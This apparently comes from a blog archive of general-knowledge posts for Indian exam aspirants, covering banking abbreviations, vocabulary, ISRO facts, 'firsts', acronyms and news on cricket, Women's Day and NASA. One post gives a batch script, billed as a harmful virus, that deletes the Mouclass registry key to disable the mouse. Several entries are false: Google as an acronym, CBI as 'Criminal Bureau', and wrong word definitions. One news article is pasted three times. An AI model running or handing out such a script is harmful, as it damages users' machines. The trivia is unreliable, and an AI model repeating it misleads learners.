Tuesday 25 March 2014

TELECOMMUNICATION===INFORM



First Telephone line was started - 1851
between Kolkata and Diamond Harbour.

First Telephone service was started - 1881
at Kolkata.

First Telephone exchange was opened - 1881
at Kolkata with 50 lines.

First International Telephone line was - 1870
started between Mumbai and London.

First Automatic Telephone exchange in - 1913
Simla was opened at
Post and Telecommunication started – 1984.

Total Post Offices (2000) - 1,55,000.

Quick Mail Service was started in – 1975.

Speed Post was started in – 1986.

E-Post was started in - 2002

Some Important Newspapers and places of publication



1.-The Statesman Calcutta; - New Delhi
2.-The Times of India Mumbai’ - New Delhi etc.
3.-The Hindustan Times - New Delhi
4.-The Pioneer - Lucknow
5.-The Bombay - Samachar Mumbai
6.-Dawn - Karachi
7.-Izvestia - Moscow
8.-Pravda - Moscow
9.-Peoples Daily - Beijing
10.-The Hindu - Chennai, Coimbatore, Etc.,
11.-The Amrita bazar Patrika - Calcutta
12.-The Indian Express - Chennai-Madurai etc.,
13.-Daily Thanthi - Chennai-Madurai etc.,
14.-The Patriot - New Delhi
15.-The Tribune - Chandigarh
16.-The Times - London
17.-Al Ahram - Cairo
18.-The Daily News - New York
19.-Merdeka - Jakarta
20.-Le Monde - Paris

Tuesday 18 March 2014

★ ★ BANKING AWARENESS – ABBREVIATIONS ★ ★


1. AADHAAR card denotes – Unique Identity Number
2. PSL – Priority sector lending
3. NBFC – Non Banking Financial Company
4. WPI – Wholesale price Index
5. CPI – Consumer Price Index
6. LAF – Liquidity adjustment facility
7. NDTL – Net Demand and Time Liabilities
8. UCB – Urban Cooperative Bank
9. ECS – Electronic clearing service
10. FSLRC – Financial Sector Legislative Reforms Commission
11. UCIC – Unique Customer Identification Code
12. AML – Anti Money Laundering
13. CFT – Combatting of financial terrorism
14. SME – Small and Medium Enterprises
15. CDR – Corporate Debt Restructuring
16. CDS –Credit Default Swaps
17. IRS – Interest Rate Swaps
18. QE3 –Quantitative Easing
19. FII – Foreign Institutional Investors
20. RRB – Regional Rural Banks
21. PDC – Post Dated Cheques
22. MSE – Micro and Small Enterprises
23. DCCO – Date of commencement of commercial operations
24. CRAR – Capital to Risk weighted assets ratio
25. IBL – Inter bank liability
26. GDS – Gold deposit scheme
27. CAD – Current account deficit
28. ECB – European Central Bank
29. MFIN – Micro Finance Institutions Network
30. IRDA – Insurance Regulatory Development Authority
31. CRMPG – Counterparty Risk Management Policy Group
32. HTM – Held to maturity
33. SLR – Statutory Liquidity Ratio
34. BC – Business correspondents
35. BF – Business facilitators
36. DSA – Direct selling agents
37. DMA – Direct marketing agents
38. DRA – Debt Recovery agents
39. ELA – Emergency Liquidity assistance
40. BOP – Balance of payments
41. APBS – AADHAAR payment bridge system
42. FDI – Foreign direct investment
43. M3 – Money supply
44. MSF – Marginal standing facility
45. FFA – Forward freight agreements
46. AD – Authorised dealer
47. BIS – Bank for international settlements
48. BR act – Banking Regulation act
49. MCX – Multi commodity exchange
50. PSB – Public sector banks

ENGLISH VOCABULARY

1. Diaphanous :-
Meaning : Transparent
Usage : A diaphanous door.
2. Disport :-
Meaning : to smile
Usage : People disported themselves at the stage
show.
3. Dulcet :-
Meaning : Sweet sounding
Usage : I thought I recognized your dulcet tone.
4. Despondency :-
Meaning : hopeless, sad
Usage : It is very difficult to come out from
despondency after his father’s death.
5. Didactic :-
Meaning : a bitter; criticism in speck writing
Usage : Launch a diatribe against the government.
6. Exculpate :-
Meaning : Prove guiltless
Usage : The Supreme Court exculpated Sanjay
Dutt from TADA Case.
7. Encumber :-
Meaning : to become burden
Usage : Travelling is difficult when you’re
encumbered with heavy suitcase s.
8. Extol :-
Meaning : to praise highly
Usage : He was extolled as a hero.
9. Effulgent :-
Meaning : shinning brilliantly
Usage : The effulgent beauty.
10. Ephemeral :-
Meaning : short lived
Usage : Ephemeral mosquitoes during the rainy
season.

Monday 17 March 2014

★ INDIAN SPACE RESEARCH ORGANIZATION (ISRO) ★

★ INDIAN SPACE RESEARCH ORGANIZATION (ISRO) ★

* ESTABLISHED : 15 August 1969.

* HEADQUARTER : Bangalore.

* CHAIRMAN : K. Radhakrishnan

* Dr. Vikram Sarabhai : The father of India's Space Programme.

* First Satellite : Aryabhata,launched by the Soviet Union in 19 April,1975.

* Rohini : The first satellite to be placed in orbit by an Indian-made launch vehicle.

* CHANDRAYAAN-1 : India's first mission to the Moon in 2008.

* Vikram Sarabhai Space Centre (VSSC) : Thiruvananhapuram

* ISRO Satellite Centre (ISAC) : Bangalore

* Satish Dhawan Space Centre (SDSC) : Sriharikota

Sunday 16 March 2014

How To Make A Virus That Disable Mouse

Making a batch virus which is harm-full it will disable your mouse so think before trying it on yourself.

Proceed At Your Risk

1. Open Notepad and copy below codes

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem --------------------------

2. Save this file as ramappavirus.bat

3. Done you just created your virus.

Friday 14 March 2014

Tendulkar voted cricketer of the generation


Sachin Tendulkar has been voted the cricketer of the generation by a 50-member jury of current and former cricketers and journalists.

Tendulkar beat strong competition from Shane Warne and Jacques Kallis to win the award, presented to mark the first generation of the existence of ESPNcricinfo, which has been online since 1993.

The jury that decided on the award included Michael Holding, Ian Chappell, Martin Crowe, Mark Taylor, Younis Khan, Kumar Sangakkara, Mahela Jayawardene, Barry Richards, John Wright and Jeff Dujon, among others.

Mitchell Johnson's series-defining 7 for 40 in the Ashes Test in Adelaide won the Test bowling title for 2013 in the annual ESPNcricinfo Awards, over performances from Dale Steyn, Vernon Philander, James Anderson, and Johnson's own Brisbane four-for in the Ashes opener, which kicked off a scarcely believable streak in which he took 59 wickets in eight Tests at a little over 15 runs each.

Shahid Afridi won the ODI bowling award with his 7 for 12 against West Indies - a match he also dominated with the bat, making 76 off 55 balls. It was Afridi's second ESPNcricinfo Award; he won in the same category for 2009.

"I remember this game because I was not picked for the Champions Trophy, and that was my comeback and that was my first game in Georgetown," Afridi said about the award, "and [I produced an] awesome performance in batting and bowling as well, so I am very happy for this."

Indian players took the two batting prizes. Shikhar Dhawan won the Test batting award for his rollicking 187 on debut against Australia in Mohali last year. Rohit Sharma's ODI double-century in Bangalore, also against Australia, was picked as the ODI batting performance of the year.

"It is really a special award, and it was a very special performance, and it is very close to me," Rohit said about winning. "I am very happy that ESPN has recognised this performance of mine. Getting 200 every day is not easy. More than anything else it was a match-winning performance and it helped us win the series. It was a decider game, we wanted to win the game and win the series, so I am happy that it came at the right time and we won the series."

The jury for the performance awards included Mark Butcher, Sanjay Manjrekar, Daryll Cullinan, Russel Arnold, Ian Bishop, Rahul Dravid, and a number of ESPNcricinfo's senior writers.

A new category, the Debutant of the Year, voted on by ESPNcricinfo users, was won by India's Mohammed Shami, who took 17 wickets in his four Tests in 2013, and 30 ODI wickets. Shami beat the likes of Kusal Perera, Ashton Agar, Kyle Abbott, Sohail Maqsood and Jason Holder to the title.

Also new this year, the Contribution to Cricket Award went to Tarak Sinha, head coach of the Sonnet Cricket Club in Delhi, who has been involved in the development of a remarkable number of Indian Test and first-class players, among them Aakash Chopra, Ashish Nehra and Manoj Prabhajar. Sinha, who was nominated for the award by Rahul Dravid, has coached Ranji Trophy-winning Delhi and Rajasthan teams, and was the coach of the India women's team the first time it won a Test series overseas.

South Africans AB de Villiers and Dale Steyn dominated the Statsguru Awards, which are adjudged based purely on statistical data. De Villiers won Batsman of the Year, Best Test Batsman, and Most Consistent Batsman. Steyn was the Bowler of the Year and the Best Test Bowler.

The ESPNcricinfo Awards are now in their seventh year. Past winners have included Dale Steyn, Kumar Sangakkara, Virender Sehwag and Lasith Malinga.

Tuesday 11 March 2014

Important Acronyms


ADIDAS- All Day I Dream About Sports.
¤ AUDI-Auto Union Deutschland Ingolstadt.
¤ BMW- Baverian Motor Works.
¤ AMW- Asian Motor Works.
¤ GOOGLE- Global Organization Of Oriented Group
Language of Earth.
¤ CNN-IBN- Cable News Network-Indian
Broadcasting Network.
¤ VVS Laxman- Vengipurapu Venkata Sai Laxman.
¤ APJ Abdul Kalam- Abul Pakir Jainulabdeen Abdul
Kalam.
¤ MDH(Massala)- Mahashian Di Hatti.
¤ ISCON- International Society for Krishna
Consciousness.
¤ LASER- Light Amplification by Stimulated
Emission of Radiation
i.e- id est (that is)
¤ INTEL- Integrated Electronics.
¤ CMYK- Cyan Magenta Yellow Kinda(Black).
¤ JPEG- Joint Photography Expert Group.
¤ EMI- Equated Monthly Instalments.
¤ WIPRO- Western Indian Products.
¤ DNA- Deoxy-ribo Nucleic Acid.
¤ CBI- Criminal Bureau of Investigation.
¤ CAT- Common Admissiom Test.
¤ ATM- Automated Teller Machine.
¤ ISI- Indian Standard Institute.
¤ IPI- International Press Institute.
¤ AT&T- American telegraphic and Telephone Co.
Ltd.
¤ ICICI- Industrial Credit and Investment
Corporation of India.
¤ IDBI- Industrial Development Bank of India.
¤ FBI- Federal Bureau of Investigation.
¤ HDFC- Housing Development Finance Corporation.
¤ VIRUS- Vital Information Resources Under Siege.
¤ OBC- Other Backward Classes.
¤ MPEG- Motion Picture Experts Groups.
¤ NAAC- National Assesment and Accreditation.
¤ PSLV- Polar Satelite Launch Vehicle.
¤ RADAR- Radio Detecting and Ranging.
¤ RDX- Research Department Explosive.
¤ MRF- Madras Rubber Factory.
¤ LML- Lohia Machines Limited.
¤ STD- Subscriber Trunk Dialling.
¤ TOEFL- Test of English as a Foreign Language.
¤ SENSEX- Sensitivity Index(of share price).
¤ URL- Uniform Resource Locator.
¤ TVS- T.V Sundaram(Co-Founder).
¤ BBC-British Broadcasting Corporation.

Most Important World Currencies and Countries



1. Rupee : India, Nepal, Srilanka, Pakistan, Bhutan

2. Dollar : u.s.a, canada, singapore, ecuador,
australia, honkong, taiwan, newzealand, t&t

3. Euro : france, germany, italy, austria, belgium,
cyprus, netherland, portugal, spain, vatican city

4. Pound : u.k, egypt, sudan

5. rial: iran, qutar, saudi arab, yemen, omen, combodia

6. Dinar : Algeria, iraq, kuwait, tunisia

7. Peso : Phillipines, argentina, chile, cuba, mexico,uruguay

8. Franc : cameroon, switzerland

***** ~ ~ Some Basic Facts About India ~ ~ **********



1. Smallest state (Area) = Goa

2. Smallest state (population) = Sikkim

3. Most literate union Territory = Lakshadweep

4. Smallest Union Territory = Lakshadweep

5. Biggest hotel = Oberoi Sheraton (Mumbai)

6. Highest award (civilian) = Bharat Ratna

7. Highest Gallantry award = Param vir chakra

8. Most literate state = Tripura

9. Fastest Train = Shatabdi express

10. Least populated union Territory = Lakshadweep

11. Most populated city = Mumbai

12. Busiest bridge = Howra (Calcutta)

13. Oldest Refinery = Digboi (Assam

******* Important for every competitive Exams ********



1. First Governor of Bengal – Lord Clive ( 1757 – 60)

2. Last Governor of Bengal – Lord Hastings ( 1772 – 74)

3. First Governor Genral of Bengal – Lord Hastings ( 1774 – 75)

4. First British Governor Gerneral of India – Lord Bentinck ( 1833 - 35)

5. First British Viceroy of India – Lord Canning ( 1856 – 62)

6. First President of Indian Rebublic – Dr. Rajendra Prasad

7. First Prime Minister of free India – Pt. Jawahar Lal Nehru

8. First Indian to win Nobel Prize – Rabindranath Tagore

9. First Muslim President of Indian National Congress –Baduddin Tyabji

10. First Muslim President of India – Dr. Zakir Hussain

11. First Governor General of free India – Lord Mountbatten

12. First and last Indian Governor General of India – C. Rajgopalachari

13. First man who introduced printing press in India – James Hicky

14. First Indian to join the I.C.S – Satyendra Nath Tagore

15. India’s first Cosmonaut – Rakesh Sharma

16. First Prime Minister of India who resigned without completing the full term – Morarji Desai

17. First Indian Member of the Viceroy’s executive council – S. P. Sinha

18. First President of India who died while in office – Dr. Zakir Hussain

19. First Prime Minister of India who did not face the Parliament – Charan Singh

20. First Field Marshal of India – Field Marshal S.H.F. J. Maneckshaw

21. First Indian to get Nobel Prize in Physics – C.V. Raman

22. First Indian to receive Bharat Ratna award – Dr. S. Radhakrishnan

23. First Indian to cross English Channel – Mihir Sen

24. First Person to receive Jananpith award – G. Shanker Kurup

25. First Speaker of the Lok Sabha – G V Mavalankar

26. First Vice – President of India – Dr. S. Radhakrsihnan

27. First Home Minister Of India – Sardar Vallabhbahi Patel

28. First Person to reach Mt. Everest without oxygen – Sherpa Ang Dorjee

29. First person to reach the South Pole – Col J K Bajaj

30. First Person to get Param Vir Chakra – Major Somnath Sharma

31. First Chief Election Commissioner – Sukumar Sen

32. First Person to receive Magsaysay Award – Vinoba Bhave

33. First Indian Origin person to receive Nobel Prize in Medicine – Hargobind Khurana

34. First Person to receive Nobel Prize in Economics – Amartya Sen

35. First Chief Justice of Supreme Court – Justice H. J. Kania

36. First Indian to win back to back medals in Olympics – Sushil Kumar ( 2008, 2012)

37. First Man to climb Mount Everest Twice – Nwang Gombu

38. First Man to Climb Mt. Everest 19 times – Apa Sherpa

39. First Indian Chess Grandmaster – Vishwanathan Anand ( 1988)

40. First Indian Pilot – J.R. D. Tata ( 1929)

****** Some very Important One Word Substitution *****



• Paper written in one’s own handwriting: Manuscript

• Part of a church in which bells are hung: Belfry

• People in rowdy scene: Rabble

• Person different to pleasure and pain: Stoic

• Person obsessed with one idea or subject :Monomaniac

• Person pretending to be somebody he is not: Imposter

• Person who believes God is everything: Ban theist

• Person who believes others: Credulous

• Person who does not believe in any religion : Pagan

• Person who enjoys sensuous enjoyments: Epicure

• Person who has long experience : Veteran

• Person who hates women : Misogynist

• Person who holds scholarship at a university : Bursar

• Person who is against ordinary society especially dressing: Hippy

• Person who is always dissatisfied: Malcontent

• Person who is made to bear the blame : Scapegoat

• Person who kill others for political reason: Assassin

• Person who lives alone and avoids other people: Recluse

Friday 7 March 2014

International Women's Day 2014 Theme

The United Nations has announced the theme for International Women's Day 2014 (IWD), which falls on 8 March.
Observed every year on 8 March by UN since 1975, the International Women's Day marks the celebration of achievements of women across fields.
According to the UN, the day "is a time to reflect on progress made, to call for change and to celebrate acts of courage and determination by ordinary women who have played an extraordinary role in the history of their countries and communities."
This year, the day will be commemorated at the UN headquarters in New York from 12-1pm ET on 7 March.

IWD 2014 theme
This year's Women's Day theme says: "Equality for women is progress for all."
"This International Women's Day, we are highlighting the importance of achieving equality for women and girls not simply because it is a matter of fairness and fundamental human rights, but because progress in so many other areas depends on it," UN Secretary-General Ban Ki-moon said in a statement.
Related
  • International Women's Day 2014: Every Second Woman in EU Sexually Harassed
"Countries with more gender equality have better economic growth. Companies with more women leaders perform better. Peace agreements that include women are more durable. Parliaments with more women enact more legislation on key social issues such as health, education, anti-discrimination and child support."
"The evidence is clear: equality for women means progress for all," he added.

How equality for women is progress for all
Several UN associates also spoke on how equality for women would be the headway to solving many of the world's problems such as poverty.
"Women spend the majority of their income on the well-being of their children and family. Raising women's labour force participation increases economic growth," UN Women executive director Phumzile Mlambo-Ngcuka said.
"By ending women's poverty, we will sustainably and significantly reduce extreme poverty worldwide." 
Equality for women can also help combat global environmental challenges, including land degradation and climate change, according to UN Convention to Combat Desertification (UNCCD).
"Today, more than 2 billion people depend on small scale farmers, and women play a pivotal role. They make up nearly half of the agricultural labor force," UNCCD executive secretary Monique Barbut said.
"Securing their equality would not only benefit them, but everyone as well."
"If we want to increase, our productivity, our food security and improve our resilience to climate change, if we want to reverse outmigration, water conflicts, civil wars and state failure, we need policy incentives that, at the very least, place female land users, farmers and producers on par with males in their access to resources, knowledge and decision-making," she added.

Thursday 6 March 2014

Indian-American scientist creates world’s first 3D fingerprint

A team of Michigan State University computer scientists led by Indian Institute of Technology (IIT) Kanpur alum Anil Jain have built the first three-dimensional model of a human fingerprint. This development will not only help today's fingerprint-matching technology do its job better, but could eventually lead to improvements in security, according to information posted on MSU website. What Jain, a University Distinguished Professor of computer science and engineering, and his team did was develop a method that takes a two-dimensional image of a fingerprint and maps it to a 3-D finger surface.
The 3-D finger surface, complete with all the ridges and valleys that make up the human fingerprint, is made using a 3-D printer. It creates what Jain's team called a fingerprint "phantom." Imaging phantoms are common in the world of medical imaging.
For example, to make sure an MRI machine or a CT scanner is working properly, it needs to first image an object of known dimensions and material properties. "In health care, a 3-D heart or kidney can be created," Jain said. "Because the dimensions are known, they can be put into a scanner and the imaging system can be calibrated." In this case, the ultimate goal is to have a precise fingerprint model with known properties and features that can be used to calibrate existing technology used to match fingerprints. "When I have this 3-D fingerprint phantom, I know its precise measurements," said Jain. "And because I know the true dimensions of the fingerprint features on this phantom, I can better evaluate fingerprint readers." While the 3-D model doesn't yet have the exact texture or feel of a real finger, it could advance fingerprint sensing and matching technology. "Tools like this would help improve the overall accuracy of fingerprint-matching systems, which eventually leads to better security in applications ranging from law enforcement to mobile phone unlock," Jain said.
Members of Jain's team include Sunpreet Arora, a computer science doctoral student, Kai Cao, a research associate in computer science and engineering and research collaborator Nick Paulter at the National Institute of Standards and Technology Jain, who has a B.Tech degree from IIT Kanpur and MS and PhD degrees from Ohio State University, has six US patents on fingerprint matching and has written a number of books on biometrics and fingerprint/facial recognition. Additionally, Jain has also received a number of prestigious awards for contributions to pattern recognition and biometrics. This story has not been edited by Firstpost staff and is generated by auto-feed.
A team of Michigan State University computer scientists led by Indian Institute of Technology (IIT) Kanpur alum Anil Jain have built the first three-dimensional model of a human fingerprint. This development will not only help today's fingerprint-matching technology do its job better, but could eventually lead to improvements in security, according to information posted on MSU website. What Jain, a University Distinguished Professor of computer science and engineering, and his team did was develop a method that takes a two-dimensional image of a fingerprint and maps it to a 3-D finger surface. The 3-D finger surface, complete with all the ridges and valleys that make up the human fingerprint, is made using a 3-D printer. It creates what Jain's team called a fingerprint "phantom." Imaging phantoms are common in the world of medical imaging. For example, to make sure an MRI machine or a CT scanner is working properly, it needs to first image an object of known dimensions and material properties. "In health care, a 3-D heart or kidney can be created," Jain said. "Because the dimensions are known, they can be put into a scanner and the imaging system can be calibrated." In this case, the ultimate goal is to have a precise fingerprint model with known properties and features that can be used to calibrate existing technology used to match fingerprints. "When I have this 3-D fingerprint phantom, I know its precise measurements," said Jain. "And because I know the true dimensions of the fingerprint features on this phantom, I can better evaluate fingerprint readers." While the 3-D model doesn't yet have the exact texture or feel of a real finger, it could advance fingerprint sensing and matching technology. "Tools like this would help improve the overall accuracy of fingerprint-matching systems, which eventually leads to better security in applications ranging from law enforcement to mobile phone unlock," Jain said. Members of Jain's team include Sunpreet Arora, a computer science doctoral student, Kai Cao, a research associate in computer science and engineering and research collaborator Nick Paulter at the National Institute of Standards and Technology Jain, who has a B.Tech degree from IIT Kanpur and MS and PhD degrees from Ohio State University, has six US patents on fingerprint matching and has written a number of books on biometrics and fingerprint/facial recognition. Additionally, Jain has also received a number of prestigious awards for contributions to pattern recognition and biometrics. This story has not been edited by Firstpost staff and is generated by auto-feed.

Read more at: http://www.firstpost.com/fwire/indian-american-scientist-creates-worlds-first-3d-fingerprint-1423019.html?utm_source=ref_article
A team of Michigan State University computer scientists led by Indian Institute of Technology (IIT) Kanpur alum Anil Jain have built the first three-dimensional model of a human fingerprint. This development will not only help today's fingerprint-matching technology do its job better, but could eventually lead to improvements in security, according to information posted on MSU website. What Jain, a University Distinguished Professor of computer science and engineering, and his team did was develop a method that takes a two-dimensional image of a fingerprint and maps it to a 3-D finger surface. The 3-D finger surface, complete with all the ridges and valleys that make up the human fingerprint, is made using a 3-D printer. It creates what Jain's team called a fingerprint "phantom." Imaging phantoms are common in the world of medical imaging. For example, to make sure an MRI machine or a CT scanner is working properly, it needs to first image an object of known dimensions and material properties. "In health care, a 3-D heart or kidney can be created," Jain said. "Because the dimensions are known, they can be put into a scanner and the imaging system can be calibrated." In this case, the ultimate goal is to have a precise fingerprint model with known properties and features that can be used to calibrate existing technology used to match fingerprints. "When I have this 3-D fingerprint phantom, I know its precise measurements," said Jain. "And because I know the true dimensions of the fingerprint features on this phantom, I can better evaluate fingerprint readers." While the 3-D model doesn't yet have the exact texture or feel of a real finger, it could advance fingerprint sensing and matching technology. "Tools like this would help improve the overall accuracy of fingerprint-matching systems, which eventually leads to better security in applications ranging from law enforcement to mobile phone unlock," Jain said. Members of Jain's team include Sunpreet Arora, a computer science doctoral student, Kai Cao, a research associate in computer science and engineering and research collaborator Nick Paulter at the National Institute of Standards and Technology Jain, who has a B.Tech degree from IIT Kanpur and MS and PhD degrees from Ohio State University, has six US patents on fingerprint matching and has written a number of books on biometrics and fingerprint/facial recognition. Additionally, Jain has also received a number of prestigious awards for contributions to pattern recognition and biometrics. This story has not been edited by Firstpost staff and is generated by auto-feed.

Read more at: http://www.firstpost.com/fwire/indian-american-scientist-creates-worlds-first-3d-fingerprint-1423019.html?utm_source=ref_article
A team of Michigan State University computer scientists led by Indian Institute of Technology (IIT) Kanpur alum Anil Jain have built the first three-dimensional model of a human fingerprint. This development will not only help today's fingerprint-matching technology do its job better, but could eventually lead to improvements in security, according to information posted on MSU website. What Jain, a University Distinguished Professor of computer science and engineering, and his team did was develop a method that takes a two-dimensional image of a fingerprint and maps it to a 3-D finger surface. The 3-D finger surface, complete with all the ridges and valleys that make up the human fingerprint, is made using a 3-D printer. It creates what Jain's team called a fingerprint "phantom." Imaging phantoms are common in the world of medical imaging. For example, to make sure an MRI machine or a CT scanner is working properly, it needs to first image an object of known dimensions and material properties. "In health care, a 3-D heart or kidney can be created," Jain said. "Because the dimensions are known, they can be put into a scanner and the imaging system can be calibrated." In this case, the ultimate goal is to have a precise fingerprint model with known properties and features that can be used to calibrate existing technology used to match fingerprints. "When I have this 3-D fingerprint phantom, I know its precise measurements," said Jain. "And because I know the true dimensions of the fingerprint features on this phantom, I can better evaluate fingerprint readers." While the 3-D model doesn't yet have the exact texture or feel of a real finger, it could advance fingerprint sensing and matching technology. "Tools like this would help improve the overall accuracy of fingerprint-matching systems, which eventually leads to better security in applications ranging from law enforcement to mobile phone unlock," Jain said. Members of Jain's team include Sunpreet Arora, a computer science doctoral student, Kai Cao, a research associate in computer science and engineering and research collaborator Nick Paulter at the National Institute of Standards and Technology Jain, who has a B.Tech degree from IIT Kanpur and MS and PhD degrees from Ohio State University, has six US patents on fingerprint matching and has written a number of books on biometrics and fingerprint/facial recognition. Additionally, Jain has also received a number of prestigious awards for contributions to pattern recognition and biometrics. This story has not been edited by Firstpost staff and is generated by auto-feed.

Read more at: http://www.firstpost.com/fwire/indian-american-scientist-creates-worlds-first-3d-fingerprint-1423019.html?utm_source=ref_article

Robotic Refuelling Of Spacecraft To Be A Reality Soon

The advanced robotic satellite refuelling and maintenance technologies are not a wild dream of the future any more, Indo-Asian News Service reported.

Empowering future space robots to transfer hazardous oxidizer - a type of propellant - into the tanks of satellites in space, NASA has successfully concluded a remotely-controlled test of the new technology.
The robotic refuelling technologies would equip robots and humans with the tools and capabilities needed for spacecraft maintenance and repair, the assembly of large space telescopes and extended human exploration, NASA said.

In this direction, the Satellite Servicing Capabilities Office (SSCO) at NASA's Goddard Space Flight Center in Greenbelt, Maryland, has completed Remote Robotic Oxidizer Transfer Test (RROxiTT), according to IANS.

"This is the first time that anyone has tested this type of technology, and we have proven that it works. It is ready for the next step to flight," said Frank Cepollina, associate director of SSCO.
To test how robots can transfer hazardous oxidizer at flight-like pressures and flow rates, the SSCO team devised the ground-based RROxiTT through the propellant valve and into the mock tank of a satellite.
Oxidizer - namely nitrogen tetroxide - is a chemical that when mixed with satellite fuel causes instant combustion that provides thrust (motion) for a satellite, IANS reported.

"The liquid is contained within a satellite tank at intense pressures. Toxic, extremely corrosive and compressed, it requires special handling," IANS reported. "While this capability could be applied to spacecraft in multiple orbits, SSCO focused RROxiTT specifically on technologies that could help satellites traveling the busy space highway of geosynchronous earth orbit (GEO)."

Home to more than 400 satellites, many of which beam communications, television and weather data to customers worldwide, this orbital path is located about 35,200 km above earth, a NASA release said.
According to IANS, the team is also gearing up for the next phase of the robotic refueling mission on the International Space Station (ISS).

"By developing robotic capabilities to repair and refuel GEO satellites, NASA hopes to add precious years of functional life to satellites and expand options for operators who face unexpected emergencies, tougher economic demands and aging fleets," explained Benjamin Reed, deputy project manager of SSCO.
NASA also hopes these new technologies would help boost the commercial satellite-servicing industry that is rapidly gaining momentum.

"Sustainable space development is not only good stewardship of the shared resource of outer space but it also makes sense as we develop the skill set to embark humans deeper into our solar system," concluded Reed.